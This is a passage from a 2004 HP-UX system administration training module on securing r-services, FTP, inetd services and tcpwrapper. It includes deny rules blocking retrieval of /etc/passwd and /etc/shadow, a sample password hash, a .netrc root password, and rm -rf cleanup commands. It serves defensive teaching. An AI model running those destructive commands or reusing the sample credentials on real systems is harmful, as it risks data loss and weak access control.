# ll /home/*/.rhosts

Consider using -l in /etc/inetd.conf to ignore .rhosts files.

login stream tcp nowait root /usr/lbin/rlogind rlogind -l
shell stream tcp nowait root /usr/lbin/remshd remshd -l
exec stream tcp nowait root /usr/lbin/rexecd rexecd -l
Consider disabling the Berkeley service daemons in /etc/inetd.conf.
#login stream tcp nowait root /usr/lbin/rlogind rlogind
#shell stream tcp nowait root /usr/lbin/remshd remshd
#exec stream tcp nowait root /usr/lbin/rexecd rexecd

For best security, use SSH instead.

Student Notes
In order to improve Berkeley service security, follow the recommendations on the slide.
• Verify that users don’t have “+” signs in their ~/.rhosts.

User accounts with wildcard characters in their .rhosts files are easy prey for hackers.
Regularly scan your users' .rhosts files for these dangerous entries!

• Verify that users’ ~/.rhosts have 600 permissions.

After breaking into one user's account, hackers oftentimes search the system for poorly
secured .rhosts files to learn other usernames and hostnames. These files should
always have permissions set to 600.

• Consider using "-l" in /etc/inetd.conf to ignore .rhosts files altogether.

Appending a -l on the end of the r-service entries in /etc/inetd.conf causes HP-UX

to ignore users' .rhosts files altogether. If your users repeatedly use wildcards in their
.rhosts files, consider disabling the .rhosts functionality. Note that the -l option
does not disable root's .rhosts file!

http://education.hp.com 13-13 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 13
How the Hacker Exploits Internet Service Vulnerabilities

• Consider disabling the Berkeley service daemons in /etc/inetd.conf.

Of course the most secure solution is to disable the Berkeley services altogether by
commenting them out of /etc/inetd.conf.

• For best security, use SSH instead.

SSH uses a much more robust authentication mechanism than the Berkeley services.

H3541S D.02 13-14 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 13
How the Hacker Exploits Internet Service Vulnerabilities

13–9. SLIDE: Securing FTP

Securing FTP

I’ll use FTP to test user passwords. If I can hack into one
account, I’ll download the passwd file and run crack!

For real security, use SSH instead.

If you must use FTP, enable FTP logging in /etc/inetd.conf.
# vi /etc/inetd.conf
ftp stream tcp nowait bin /usr/lbin/ftpd ftpd -oil
Monitor FTP logs in syslog.log and xferlog.
# tail /var/adm/syslog/syslog.log
# tail /var/adm/syslog/xferlog
Deny FTP access to guest, root, and others via /etc/ftpd/ftpusers.
# echo “root” >> /etc/ftpd/ftpusers
Regularly search for and possibly remove users’ ~/.netrc files.
# ll /home/*/.netrc
Enable use of /etc/ftpd/ftpaccess for additional security features.
# vi /etc/inetd.conf
ftp stream tcp nowait root /usr/lbin/ftpd ftpd –a

Student Notes
The File Transfer Protocol (FTP) allows users to transfer files between systems.

There are a number of security concerns related to the FTP network service, including:
• Hackers may use FTP to test user names and passwords.

• Improperly configured FTP servers may allow hackers to download (or upload!)
/etc/passwd and other sensitive files

• FTP transmits files, usernames, and passwords in cleartext, which can be easily “sniffed”.
For these reasons, many administrators choose to disable FTP and use the SSH sftp utility
for file transfers instead.

http://education.hp.com 13-15 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 13
How the Hacker Exploits Internet Service Vulnerabilities

If you must enable FTP, here are a few things you can do to make the service more secure:
1. Enable FTP logging by appending the –oil options to the ftpd executable in the
/etc/inetd.conf file. Don’t forget to restart the inetd daemon after making this
change.

# vi /etc/inetd.conf
ftp stream tcp nowait bin /usr/lbin/ftpd ftpd –oil
# inetd -c

2. If you enable FTP logging, carefully monitor the contents of

/var/adm/syslog/syslog.log and /var/adm/syslog/xferlog. syslog.log
logs FTP login attempts and commands executed during FTP sessions. xferlog logs file
upload and download attempts.

# tail /var/adm/syslog/syslog.log
# tail /var/adm/syslog/xferlog

3. The /etc/ftpd/ftpusers file should deny FTP access to guest accounts, and any user
that has a restricted shell. Some administrators disable root FTP logins, too. Simply
record one username per line in the /etc/ftpd/ftpusers file.

You can also use the /etc/shells file to prevent certain users from accessing your
system via FTP. When a user logs in via FTP, ftpd compares the user’s startup shell as
defined in /etc/passwd to the list of startup shells in /etc/shells. If the
/etc/shells file exists, but the user’s startup shell isn’t listed in the file, ftpd
terminates the user’s FTP connection request. This makes it easy to lock out users with
restricted shells.

4. Some users use the ~/.netrc file to automate FTP logins. Here’s a simple ~/.netrc
file entry:

machine myhost login root password hp

When initiating an outbound FTP connection request, ftp looks for the destination
hostname in this file. If a match is found, ftp automatically logs in using the designated
username and password.

Because .netrc contains cleartext passwords, the permissions should be 600. Better
yet, prohibit .netrc files on your system and scan user home directories regularly to
ensure that your policy is enforced.

5. HP’s current FTP daemon is based on wu-ftp from Washington University. wu-ftp
supports man additional security features that weren’t available in earlier versions of HP-
UX. In order to enable these features, add a –a to the end of the ftp entry in
/etc/inetd.conf, then configure the /etc/ftpd/ftpaccess file, which is
described on the following slides.

H3541S D.02 13-16 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 13
How the Hacker Exploits Internet Service Vulnerabilities

13–10. SLIDE: Defining FTP Service Classes

Defining FTP Service Classes

WU-FTP offers three different FTP user access levels.

Feature Real Guest Anonymous

Username required? Yes Yes “ftp”
Password required? Yes Yes xxx@xxx.xxx
Shell login allowed? Yes No No
chrooted environment? No Yes Yes
Available directories All Only $HOME Only /home/ftp

Specify the access level available to each client in /etc/ftpd/ftpaccess.

# vi /etc/ftpd/ftpaccess
class myoffice real,guest,anonymous *.chicago.hp.com
class mycompany guest,anonymous *.hp.com
class everyone anonymous *

Student Notes
wu-ftp supports three different FTP user access levels.

FTP User Access Levels

Users that login with “Real” access privileges must enter a valid /etc/passwd username
and password. “Real” users are initially placed in their $HOME directory, but can access any
directory or file on the system that file permissions allow.

Users that login with “Guest” access privileges must enter a valid /etc/passwd username
and password, too. After logging in, guest users are chroot’ed to their $HOME directory.
They can access subdirectories below their $HOME directory, but aren’t allowed to access
other system directories. Guest users are typically prohibited from logging in via telnet,
CDE, or any other mechanism that would provide access to an interactive shell. Guest user
accounts are intended for users that only need FTP access.

http://education.hp.com 13-17 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 13
How the Hacker Exploits Internet Service Vulnerabilities

Users that login as “Anonymous” FTP users login using the “ftp” or “anonymous” username,
and enter their email address as a password. After logging in, anonymous users are
chroot’ed to the anonymous FTP directory, /home/ftp; they should be able to access
subdirectories below /home/ftp, but aren’t allowed to access other system directories.
Anonymous users can’t login via telnet, CDE, or any other mechanism that would provide
access to an interactive shell.

Restricting Access Levels per Host

The /etc/ftpd/ftpaccess file defines which access levels are available to your FTP
clients. Add a –a to the end of the FTP entry in /etc/inetd.conf so ftpd consults this
file.

# vi /etc/inetd.conf
ftp stream tcp nowait root /usr/lbin/ftpd ftpd –a

Next, configure one or more class entries in the /etc/ftpd/ftpaccess file. If the file
doesn’t exist, create it.

# vi /etc/ftpd/ftpaccess
class myoffice real,guest,anonymous *.chicago.hp.com
class mycompany guest,anonymous *.hp.com
class everyone anonymous *
Each class entry begins with the key word class. In the second field, choose a name for
your service class. In the third field, specify the access level(s) you wish to make available.
In the last field, list the domains, hosts, or IP addresses that you wish to provide access to.
You can use an “*” wildcard.

In the example on the slide, HP’s Chicago office will be granted real, guest, and anonymous
access. Other clients in the hp.com domain will be granted guest or anonymous access.
Others outside of HP will only be able to login via anonymous FTP.

Note that real and guest logins require a valid username and password no matter where the
user is logging in from.

H3541S D.02 13-18 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 13
How the Hacker Exploits Internet Service Vulnerabilities

13–11. SLIDE: Anonymous/Guest FTP Files and Directories

Anonymous/Guest FTP Files and

Directories

When anonymous & guest users login, they are chrooted to their home directory.
The chrooted environment prevents users from accessing other system directories.

/home/ftp or /home/guest1
(0555)

pub etc dist usr

(1733) (0555) (0555) (0555)

bin
(0555)

passwd logingroup group ls

(0444) (0444) (0444) (0111)

Special anonymous and guest entries are required in the /etc/passwd file, too.
ftp:*:500:1:FTP anonymous:/home/ftp:/usr/bin/false
guest1:G9jkmI3k0.7w6:501:30:FTP guest:/home/guest1:/usr/bin/false

Student Notes
As noted on the previous slide anonymous FTP users are automatically “chrooted” to
/home/ftp after login. Similarly, guest users are chrooted to their personal home
directories. Using the change root (chroot) system call prevents these users from accessing
arbitrary files elsewhere on the system.

Beneath the guest or anonymous user’s home directory, you should find several additional
files and directories:
~ The home directory of the FTP or guest account should be owned by
user root, with mode 555 (not writable) permissions.

~/usr/bin This directory must be owned by root, with mode 555 (not writable)
permissions. The file /sbin/ls should be copied to ~/usr/bin.
This is needed to support directory listing by ftpd. The command
should be mode 111 (executable only). If the FTP account is on the
same file system as /sbin, ~/usr/bin/ls can be hard link, but it
may not be a symbolic link, because of the chroot() system call.

http://education.hp.com 13-19 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 13
How the Hacker Exploits Internet Service Vulnerabilities

The command must be replaced when the /sbin/ls command is

patched.

~/etc This directory must be owned by root with mode 555 (not writable)
permissions. It should contain versions of the files passwd and
group. See passwd(4) and group(4). These files must be owned
by root and mode 444 (readable only). These files must be present
for the LIST command to be able to produce owner names and group
names rather than UIDs and GIDs. If it is acceptable to display UIDs
and GIDs rather than user names and group names, you can delete the
~/etc directory contents.

~/etc/passwd This file should contain entries for any user who may own a file in the
chrooted directory structure. Such entries should have * for
passwords. Group IDs must be listed in the anonymous FTP group
file, ~/etc/group. The path names of home directories in
~/etc/passwd must be defined relative to the FTP user’s home
directory.

~/etc/group This file should contain the group names associated with any group
IDs in file ~/etc/passwd and any group IDs of files in the
anonymous FTP subdirectories.

~/pub (optional) This directory is used by anonymous or guest FTP users to deposit
files on the system. If your users don’t have a legitimate reason to
upload files to your server, remove this directory. Hackers sometimes
use improperly secured anonymous FTP servers to illegally distribute
pirated music and other unseemly content.

If you must allow anonymous FTP uploads, the pub directory should
be owned by user ftp, with mode 0777 (readable and writable by all).
Some administrators prefer to use 1722 permissions so users can
upload files to the directory, but can’t list or remove other users’ files.

~/dist (optional) Directories used to make files available to anonymous ftp users
should be mode 555 (not writable), and any files to be distributed
should be owned by root, with mode 444 (readable only) so they
cannot be modified or removed by anonymous FTP users.

In order to permit anonymous FTP access, there must be an entry in the passwd(4)
database for an account named ftp. The password field should be *, the group membership
should be other (GID 1), and the login shell should be /usr/bin/false.

ftp:*:500:1:FTP anonymous:/home/ftp:/usr/bin/false

H3541S D.02 13-20 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 13
How the Hacker Exploits Internet Service Vulnerabilities

Each guest account requires an account in the /etc/passwd file with a password that
conforms to your organization’s security policy. Choose a unique UID for each guest
account, but assign all guest accounts a common GID that is used exclusively for guest
accounts. Create a home directory for each guest user, and copy all of the files and
directories shown on the slide to that directory. The startup program should be
/usr/bin/false to prevent the user from obtaining an interactive login shell.

guest1:G9jkmI3k0.7w6:501:30:FTP guest:/home/guest1:/usr/bin/false
For best security, all of these files and directories should be owned by root:other.

http://education.hp.com 13-21 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 13
How the Hacker Exploits Internet Service Vulnerabilities

13–12. SLIDE: Configuring Anonymous FTP Access

Configuring Anonymous FTP Access

Configure anonymous FTP via SAM.

# sam -> Networking & Communications -> Network Services
Configure anonymous FTP in /etc/ftpd/ftpaccess.
# vi /etc/ftpd/ftpaccess
class everyone real,anonymous,guest *
Verify that the FTP entry in /etc/passwd is correctly configured.
ftp:*:500:10:Anonymous FTP user:/home/ftp:/usr/bin/false

Verify the permissions on all files and directories under ~ftp.

# find ~ftp –exec ll –d {} \;

Consider removing ~ftp/etc/passwd and ~ftp/etc/group.

# rm –rf ~ftp/etc/*
If you must have a writable pub directory, consider using 1733 permissions.
# chmod 1733 /home/ftp/pub
# chown root:other /home/ftp/pub
Use disk quotas or a cron job to control the size of /home/ftp/pub.
0 1 * * * find /home/ftp/pub/* -atime +1 -exec rm -rf {} \;

Student Notes
Several steps are required to configure anonymous FTP access.

Configure anonymous FTP via SAM. Although anonymous FTP can be configured manually,
it’s much easier via SAM.

# sam -> Networking & Communications -> Network Services

Configure anonymous FTP in /etc/ftpd/ftpaccess. SAM doesn’t configure

/etc/ftpd/ftpaccess by default. Edit this file manually to enable anonymous FTP
access for selected groups of hosts.

# vi /etc/ftpd/ftpaccess
class everyone real,anonymous,guest *

Verify that the FTP entry in /etc/passwd is correctly configured.

# grep ftp /etc/passwd

ftp:*:500:10:Anonymous FTP user:/home/ftp:/usr/bin/false

H3541S D.02 13-22 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 13
How the Hacker Exploits Internet Service Vulnerabilities

Consider removing ~ftp/etc/passwd and ~ftp/etc/group. If you choose not to delete

these files, at least verify that SAM removed the passwords.

# rm –rf ~ftp/etc

Verify the permissions on all files and directories under ~ftp. Compare the find command
output to the permissions shown on the previous slide.

# find ~ftp –exec ll –d {} \;

If you must have a writable pub directory, consider using 1733 permissions rather than the
default 777 permissions. 1733 allows users to upload files, but prevents them from viewing
and deleting other users’ files in the pub directory. Also chown the directory to
root:other.

# chmod 1733 /home/ftp/pub

# chown root:other /home/ftp/pub

Use disk quotas or a cron job to control the size of /home/ftp/pub. Some hackers in the
past have perpetrated denial of service attacks by uploading multiple large files to a target
system’s anonymous FTP directory.

0 1 * * * find /home/ftp/pub/* -atime +1 -exec rm -rf {} \;

http://education.hp.com 13-23 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 13
How the Hacker Exploits Internet Service Vulnerabilities

13–13. SLIDE: Configuring Guest FTP Access

Configuring Guest FTP Access

Create a guest group and one or more guest users.

# groupadd myguests
# useradd –g myguests –s /usr/bin/false myguest1
# passwd myguest1
Enable guest access to one or more hosts, and specify a “guestgroup”.
# vi /etc/ftpd/ftpaccess
class everyone real,anonymous,guest *
guestgroup myguests
Copy the anonymous FTP directory tree to each guest account.
# mkdir /home/myguest1
# cp –rp /home/ftp/* /home/myguest1
# chown -R root:other /home/myguest1
# rm –rf /home/myguest1/pub/* /home/myguest1/dist/*
Create /etc/shells.
# vi /etc/shells
/usr/bin/sh
/sbin/sh
/usr/bin/false

Student Notes
The steps required to configure guest FTP access are fairly similar to the steps required to
configure anonymous FTP access. This procedure assumes that you have already added the
-a option to the end of the ftp line in /etc/inetd.conf to ensure that ftpd reads
/etc/ftpd/ftpaccess.

Create a guest group and one or more guest users. The group name may be chosen
arbitrarily, but all FTP guest users should be assigned to the same group, and that group
should only be used for FTP guest users. Be sure to use the /usr/bin/false program
rather than /usr/bin/sh as the startup program.

# groupadd myguests
# useradd –g myguests –s /usr/bin/false myguest1
# passwd myguest1

Enable guest FTP access to one or more hosts in /etc/ftpd/ftpaccess. Also define use
the guestgroup keyword to identify the guest group that you configured in /etc/group.

# vi /etc/ftpd/ftpaccess
class everyone real,anonymous,guest *

H3541S D.02 13-24 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 13
How the Hacker Exploits Internet Service Vulnerabilities

guestgroup myguests

Copy the anonymous FTP directory tree to each guest account, and ensure all directories are
owned by root. If there were any files in ~ftp/pub and ~ftp/dist, remove them from the
guest’s ~/pub and ~/dist directories.

# mkdir /home/myguest1
# cp –rp /home/ftp/* /home/myguest1
# chown -R root:other /home/myguest1
# rm –rf /home/myguest1/pub/* /home/myguest1/dist/*

Create /etc/shells. FTP won’t let a user login if the user’s startup program isn’t included
in the /etc/shells file. Be sure to include all the startup programs referenced in
/etc/passwd. If the /etc/shells file doesn’t exist, FTP only allows logins from users
that use standard shells such as sh, ksh, and csh.

# vi /etc/shells
/usr/bin/sh
/sbin/sh
/usr/bin/false

http://education.hp.com 13-25 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 13
How the Hacker Exploits Internet Service Vulnerabilities

13–14. SLIDE: Configuring /etc/ftpd/ftpaccess

Configuring /etc/ftpd/ftpaccess

Define service classes for hosts, domains, and subnets.

Enhance login security.
Display custom banner messages.
Restrict access to selected files, such as /etc/passwd.
Restrict access to selected commands, such as delete.
Automatically set permissions on uploaded files.
Enable enhanced FTP logging.

Student Notes
We’ve already discussed the class entries in the /etc/ftpd/ftpaccess file, but there are
many more security related parameters that you should be aware of in this file, too. The
heavily commented file below provides a few examples. See the ftpaccess man page for
details.

Sample /etc/ftpd/ftpaccess File

# ======================================================
# Define service classes for hosts, domains, and subnets
# ======================================================

# These lines determine which types of FTP logins are allowed

# from various domains and hosts. Also define the guestgroup.
# See earlier slides for details.

class myoffice real,guest,anonymous *.chicago.hp.com

class mycompany guest,anonymous *.hp.com
class everyone anonymous *

H3541S D.02 13-26 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 13
How the Hacker Exploits Internet Service Vulnerabilities

guestgroup myguests

# ======================================================
# Enhance login security
# ======================================================

# Close FTP connections if the user mistypes his/her

# password twice.

loginfails 2

# Require anonymous FTP users to enter an xxx@xxx.xxx

# email address when prompted for the anonymous FTP
# password. However, ftpd does not verify that this
# is a valid email address.

passwd-check rfc8222 enforce

# ======================================================
# Display custom banner messages
# ======================================================

# Use these options to avoid including the server’s

# hostname and ftpd version in the FTP login banner.

suppresshostname yes
suppressversion yes

# Or, simply define your own banner message.

# This banner message is displayed when users first connect,
# but before they login. This should be defined via
# a full pathname.

banner /etc/issue

# The message line below identifies a file that should be

# displayed immediately after the user successfully
# logs in. If the message is to be displayed for anonymous
# FTP or guest users, the path name should be relative
# to the guest/anonymous user’s home directory since chroot()
# will prevent ftpd from accessing files elsewhere on the system.

message /welcome.msg login

# This second message line indicates that ftpd should search

# for a .message file in the user’s pwd every time a user
# moves to a different directory. If you have a directory
# that contains sensitive or confidential data, you may
# want to include a .message file in that directory to warn
# FTP users to handle the files in the directory carefully.

http://education.hp.com 13-27 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 13
How the Hacker Exploits Internet Service Vulnerabilities

message .message cwd=*

# ======================================================
# Restrict access to selected files, such as /etc/passwd
# ======================================================

# These lines prevent FTP users from downloading

# /etc/passwd, /etc/shadow, /etc/group,
# or any file named core.

noretrieve /etc/passwd
noretrieve /etc/shadow
noretrieve /etc/group
noretrieve core

# ======================================================
# Restrict access to selected commands, such as delete
# ======================================================

# Although FTP is primarily used to upload and download

# files, it includes a rich set of commands that may be
# used manipulate the server’s directory structure.
# You may wish to disable these commands for guest
# or anonymous FTP users. By default, all of these
# commands are enabled for everyone. Consider
# selectively disabling these commands for anonymous
# and guest users.

delete no guest,anonymous
overwrite no guest,anonymous
rename no guest,anonymous
chmod no anonymous
umask no anonymous

# ======================================================
# Automatically set permissions on uploaded files
# ======================================================

# The lines below ensure that any files that are uploaded
# to /home/ftp/pub are automatically chowned to
# nobody:nogroup, with 0600 permissions. If you removed
# the ~ftp/etc/passwd and ~ftp/etc/group files, use
# a numeric UID/GID rather than nobody:nogroup.
#
# The “dirs” argument allows users to create subdirectories
# under /home/ftp/pub. The second upload command ensures that
# anonymous FTP users can’t upload to any other directories
# under /home/ftp, even if UNIX file permissions are 777.

H3541S D.02 13-28 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 13
How the Hacker Exploits Internet Service Vulnerabilities

upload /home/ftp /pub yes nobody nogroup 0600 dirs

upload /home/ftp * no

# ======================================================
# Enable enhanced FTP logging
# ======================================================

# Logging can be enabled via the –o/-i options in

# /etc/inetd.conf, or via options in ftpaccess.
# The first command below logs commands
# executed by “real” users (as opposed to
# “anonymous” or “guest” users). The second
# logs inbound and outbound file transfers
# by both real and anonymous users.

http://education.hp.com 13-29 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 13
How the Hacker Exploits Internet Service Vulnerabilities

13–15. SLIDE: Securing Other inetd Services (1 of 2)

Securing Other inetd Services (1 of 2)

Disable as many of these miscellaneous inetd services as possible.

Service Comments
telnet Weak authentication. Replace with SSH.
tftp Used by Ignite-UX and DHCP servers. Others should disable.
bootps Used by Ignite-UX and DHCP servers. Others should disable.
uucp Unix-to-Unix copy service. Rarely used today. Disable.
ntalk Predecessor to instant messaging. Rarely used today. Disable.
ident Reports UID of processes using sockets. Consider disabling.
printer Only needed if you are a remote print server. Others should disable.
kshell Kerberized remsh. If you don’t use Kerberos, disable.
klogin Kerberized rlogin. If you don’t use Kerberos, disable.

Many of these obscure inetd services have

known vulnerabilities that I can exploit!

Student Notes
The next couple slides list a variety of other services in the /etc/inetd.conf file that you
may choose to disable. Most of the inetd services have been compromised at one point or
another, so it is a good idea to preemptively disable services that you aren’t actually using to
avoid problems in the future. Your applications may depend on one or more of these
services, so evaluate them carefully before you disable them.

H3541S D.02 13-30 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 13
How the Hacker Exploits Internet Service Vulnerabilities

13–16. SLIDE: Securing Other inetd Services (2 of 2)

Securing Other inetd Services (2 of 2)

Disable as many of these miscellaneous inetd services as possible.

Service Comments
ncpm-pm Load balancing daemon. Disable if not using the NCPM product.
ncpm-hip Load balancing daemon. Disable if not using the NCPM product.
registrar Event Monitoring Services daemon. Leave enabled.
dtspcd CDE service to invoke processes for other hosts. Disable if not using CDE.
ttdbserver CDE ToolTalk database server, used by dtmail. Disable if not using CDE.
cmsd CDE calendar manager daemon. Disable if not using CDE.
recserv Used by MPower SharedX utility. Disable if you don’t use SharedX.
swat SAMBA/CIFS GUI config tool. Disable if you don’t use SAMBA/CIFS.
hacl-* ServiceGuard daemons. Disable if not using MCSG.

Student Notes
This slide lists a few more inetd services that you may wish to disable.

http://education.hp.com 13-31 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 13
How the Hacker Exploits Internet Service Vulnerabilities

13–17. SLIDE: Shutting Down non-inetd Services

Shutting Down non-inetd Services

Use lsof –i to identify other daemons with open ports on the system.
# lsof -i
xntpd 1409 root 4u inet 0x42e5d040 0t0 UDP *:ntp (Idle)
xntpd 1409 root 5u inet 0x42d13680 0t0 UDP server:ntp (Idle)
xntpd 1409 root 6u inet 0x42e5d1c0 0t0 UDP localhost:ntp (Idle)

Use grep -il to determine which startup scripts launch the daemons in question.
# grep -il xntpd /etc/rc.config.d/* /sbin/init.d/*
/etc/rc.config.d/netdaemons
/sbin/init.d/xntpd

Research daemons on http://docs.hp.com.

# netscape http://docs.hp.com

Set appropriate control variables to 0 to disable the daemons.

# vi /etc/rc.config.d/netdaemons
export XNTPD=0

Student Notes
Disabling inetd services is fairly straightforward since all of the services are managed from
a single configuration file, /etc/inetd.conf. Many network services, though, have their
own dedicated daemons and configuration files. How can you find and disable these non-
inetd services? The lsof contributed software tool offers a solution. With the –i option,
lsof lists all of the open sockets on your system, as well as the PID and name of the
program responsible for each socket.

# lsof -i
xntpd 1409 root 4u inet 0x42e5d040 0t0 UDP *:ntp (Idle)
xntpd 1409 root 5u inet 0x42d13680 0t0 UDP server:ntp (Idle)
xntpd 1409 root 6u inet 0x42e5d1c0 0t0 UDP localhost:ntp (Idle)

H3541S D.02 13-32 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 13
How the Hacker Exploits Internet Service Vulnerabilities

After you determine which daemons have open network ports, you can use the grep
command to find the script and configuration file that are responsible for starting and
configuring the daemon. Most network services have a startup script in /sbin/init.d and
a configuration file in /etc/rc.config.d.

# grep -il xntpd /etc/rc.config.d/* /sbin/init.d/*

/etc/rc.config.d/netdaemons
/sbin/init.d/xntpd

Be sure to investigate services carefully before you disable them. The online man pages and
the documentation at http://docs.hp.com may be helpful.

# netscape http://docs.hp.com

If you determine that you can safely disable the service, look for the service’s configuration
file in /etc/rc.config.d/. Most of these configuration files have a “control variable”. If
you set the control variable to 0, the daemon won’t start after the next reboot.

# vi /etc/rc.config.d/netdaemons
export XNTPD=0

http://education.hp.com 13-33 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 13
How the Hacker Exploits Internet Service Vulnerabilities

13–18. SLIDE: Introducing Tcpwrapper

Introducing Tcpwrapper

Use tcpwrapper for more control

over all of the inetd services!

• Limit service access by client IP address.

• Limit service access by client DNS domain.
• Limit service access by client subnet.
• Limit service access by client username.
• Perform double reverse lookup on all source IP addresses.
• Log the username of every user that initiates a connection.
• Create custom banner messages for selected services..

Student Notes
A wrapper is a program that is used to control access to a second program. The wrapper
literally wraps around the second program, allowing the administrator to enforce a higher
degree of security than the second program can enforce on its own. These programs were
born out of the need to modify an operating system’s programs without access to the
programs’ source code. Wrappers offer a number of other advantages, including:
• Separation of the security logic from the actual program. This makes it easy to improve a
program's security via the wrapper, even if you don't have access to the controlled
program's source code.

• Portability. A single wrapper can be used to control access to a variety of wrapped

programs (eg: telnet, ftp, rlogin, finger, etc.).

H3541S D.02 13-34 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 13
How the Hacker Exploits Internet Service Vulnerabilities

The tcpwrapper program is an easy to use utility that wraps around the programs started by
inetd. The tcpwrapper program records, restricts, and validates networking requests sent
to the inetd program to a much greater extent than is possible with standard inetd.
tcpwrapper makes it possible to:

• Limit service access by client IP address.

• Limit service access by client DNS domain.
• Limit service access by client subnet.
• Limit service access by client username.
• Perform double reverse lookup on all source IP addresses.
• Log the username of every user that initiates a connection.
• Create custom banner messages for selected services.

Tcpwrapper was originally contributed software, but was so commonly used that HP now
offers a pre-compiled version of the program on http://software.hp.com.

http://education.hp.com 13-35 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 13
How the Hacker Exploits Internet Service Vulnerabilities

13–19. SLIDE: How Tcpwrapper Works

How Tcpwrapper Works

1. Clients send connection requests to inetd (as they would normally).

2. Target’s inetd calls tcpd instead of the normal server process.
3. tcpd determines the validity of the client’s connection request.
4. If the client is valid, tcpd calls the appropriate server process.
5. The server process processes the client’s request.

inetd

telnet tcpd

telnetd
# telnet target.com
target.com

Student Notes
Tcpwrapper may be configured to control access to any or all of the inetd services without
any modification to the existing inetd or server process executables. A simple modification
to the /etc/inetd.conf file causes inetd to call tcpwrapper's tcpd daemon each time a
client connection request is received, rather than the standard server process requested by
the client. If tcpd determines that the client request is valid, tcpd passes the request to the
"real" server process requested by the client. From that point onwards, the server process
handles all communication with the client.

H3541S D.02 13-36 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 13
How the Hacker Exploits Internet Service Vulnerabilities

13–20. SLIDE: Tcpwrapper Access Control

Tcpwrapper Access Control

Check /etc/hosts.allow
to determine if the client
is explicitly allowed access

yes no

Check /etc/hosts.deny
to determine if the client
is explicitly denied access

no

Start the requested server process!

Student Notes
Tcpwrapper uses two configuration files to determine which users on which hosts should be
allowed access to which services. When inetd passes a connection request to tcpd, tcpd
applies the following rules:
1. The file /etc/hosts.allow is searched to see if the requested service is explicitly
allowed for the requesting user/client. If this file explicitly allows access, then the
connection is immediately passed to the "real" server process.

2. If no match is found in /etc/hosts.allow, tcpd consults /etc/hosts.deny . If

hosts.deny explicitly denies access to the requesting user/client, the connection is
terminated

3. Otherwise, if the host isn't listed in either configuration file, the connection is allowed by
default.

http://education.hp.com 13-37 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 13
How the Hacker Exploits Internet Service Vulnerabilities

Oftentimes, administrators choose to adopt a "default deny" policy rather than the "default
allow" policy that tcpd provides initially. If you prefer to specify which users/clients should
be allowed access and implicitly deny all others access, simply add the following line to
/etc/hosts.deny:

# vi /etc/hosts.deny
ALL : ALL

Sample /etc/hosts.allow Entries (Assuming hosts.deny Contains ALL : ALL)

#allow all hosts/users to access all tcpwrapperized services
ALL : ALL

#allow all hosts except hosta and hostb to access services

ALL : ALL EXCEPT hosta hostb

#allow all hosts in the local DNS domain to access services

ALL : LOCAL

#allow only hosta and hostb to access the services

ALL : hosta hostb

#allow only hosts in the il.hp.com and ca.hp.com domains access

ALL : .il.hp.com .ca.hp.com

#only allow hosts 128.1.1.1 and 128.1.1.2 to access services

ALL : 128.1.1.1 128.1.1.2

#only allow hosts on the 128.1 network to access services

ALL : 128.1.

#only allow hosts on the 128.1.192 subnet (assumes

netmask=255.255.254.0)
ALL :128.1.192.0/255.255.254.0

#only allow user1 and user2 to access services

ALL : user1@ALL user2@ALL

#only allow user1 and user2 to access services from hosta

ALL : user1@hosta user2@hosta

More /etc/hosts.allow Examples, Specifying Which Services are Available to

Selected Hosts
#allow hosta and hostb access to all services
ALL : hosta hostb

#only allow telnet access to hosta and hostb

telnetd : hosta hostb

#only allow telnet and ftp access

telnetd ftpd : hosta hostb

H3541S D.02 13-38 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 13
How the Hacker Exploits Internet Service Vulnerabilities

A Note About Tcpwrapper User Authentication

Tcpwrapper user authentication (eg: ALL : user1@hosta) uses the ident protocol to
determine which client user initiated each connection to the server. If your
/etc/hosts.allow file uses user authentication, the client must support the ident
protocol, and you should specify an ident protocol timeout value in the server’s
/etc/tcpd.conf file.

# vi /etc/tcpd.conf
rfc931_timeout 15

Practically speaking, Tcpwrapper authentication offers little benefit since hackers can easily
spoof the ident protocol.

NOTE: Tcpwrapper supplements, but doesn't replace /etc/inetd.conf and

/var/adm/inetd.sec security measures. You may still use these
standard configuration files to control access to the Internet Services
after a service has been tcpwrapperized.

http://education.hp.com 13-39 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 13
How the Hacker Exploits Internet Service Vulnerabilities

13–21. LAB: Securing the Internet Services

Part I: Preliminary Steps

1. Before beginning this lab be sure that:
• inetd logging is disabled,
• telnet and ftp are both enabled in /etc/inetd.conf, and
• neither telnet nor ftp are secured in /var/adm/inetd.sec.

Part II: Installing and Configuring Tcpwrapper

1. You can download a precompiled version of Tcpwrapper from the HP software depot at
http://software.hp.com. Verify that the bundle has been installed on your
classroom system.

# swlist TCP-WRAPPERS

2. Modify the /etc/inetd.conf file to ensure that inetd calls tcpd rather than
telnetd when connection requests are received. If you want tcpwrapper to control
access to other services, too, repeat this configuration for each service's entry in
/etc/inetd.conf.

# vi /etc/inetd.conf
telnet stream tcp nowait root /usr/lbin/tcpd /usr/lbin/telnetd

